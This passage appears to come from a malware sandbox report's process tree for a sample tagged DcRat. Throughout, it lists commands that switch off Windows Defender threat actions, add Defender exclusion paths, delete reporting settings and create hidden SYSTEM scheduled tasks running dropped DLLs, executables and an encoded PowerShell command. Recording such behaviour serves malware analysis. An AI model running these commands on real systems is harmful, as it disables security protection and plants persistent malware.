                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:3580
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:5844
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:3524
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:3960
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:3536
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:1544
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3760
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3860
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3792
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4048
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1748
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2024
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5320
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5972
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2708
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5444
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5388
                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:2424
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4472
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:4768
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2328
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1124
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5932
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:2992
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:3532
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:5860
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1684
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:3652
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4016
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:4020
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2096
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:2428
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:3748
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:3496
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:3720
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:2200
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:2620
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TN "gHhfbkkmA" /SC once /ST 01:03:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • DcRat
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:3572
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /run /I /tn "gHhfbkkmA"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1544
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /DELETE /F /TN "gHhfbkkmA"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:6004
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "mRaseIvrfxDtBOYKW" /SC once /ST 04:45:04 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\CXWUFXe.exe\" Ty /Arsite_iddXI 385118 /S" /V1 /F
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • DcRat
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3588
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /run /I /tn "mRaseIvrfxDtBOYKW"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:5036
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:5508
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:2908
                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:3740
                                                                                                                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:380
                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:6000
                                                                                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:5492
                                                                                                                                                                                                                          • C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\CXWUFXe.exe
                                                                                                                                                                                                                            C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\CXWUFXe.exe Ty /Arsite_iddXI 385118 /S
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:4472
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                schtasks /DELETE /F /TN "bdnnguwcOLBYKAjbbA"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:5452
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:3532
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:1684
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:3528
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:4072
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                          schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\qbQhmG.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • DcRat
                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                          PID:2096
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                          schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\fTmkUMX.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • DcRat
                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                          PID:6084
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                          schtasks /END /TN "eGwAoTnpAObQfPU"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:3548
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:5860
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "ALvbXdfFiQJKEp" /F /xml "C:\Program Files (x86)\LCifMpYymZWU2\MuMJyus.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • DcRat
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:3528
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "BIiSjOILpRnDn2" /F /xml "C:\ProgramData\WkkDuRgYrrqHXcVB\fOjgEPI.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • DcRat
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:3496
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "uCAhUOuaRBfXDMltv2" /F /xml "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\cSoqWDJ.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • DcRat
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:2964
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "cLzKLCJHWfKFSkdKasF2" /F /xml "C:\Program Files (x86)\mVqQIGUXDOgrC\XKJItXu.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • DcRat
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:6116
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "FTXCzbcEvROqagNdd" /SC once /ST 04:32:52 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\IzRZTwSZebgYVSAl\JaHyEZjt\sEWnTbu.dll\",#1 /wBsite_idHUr 385118" /V1 /F
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • DcRat
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:2692
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /run /I /tn "FTXCzbcEvROqagNdd"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:3864
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:3052
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:3892
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:4888
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:6044
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /DELETE /F /TN "mRaseIvrfxDtBOYKW"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:2056
                                                                                                                                                                                                                                                      • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                        c:\windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\JaHyEZjt\sEWnTbu.dll",#1 /wBsite_idHUr 385118
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:3844
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                            c:\windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\JaHyEZjt\sEWnTbu.dll",#1 /wBsite_idHUr 385118
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:1832
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "FTXCzbcEvROqagNdd"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:1292
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:5524
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:2904
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:2440

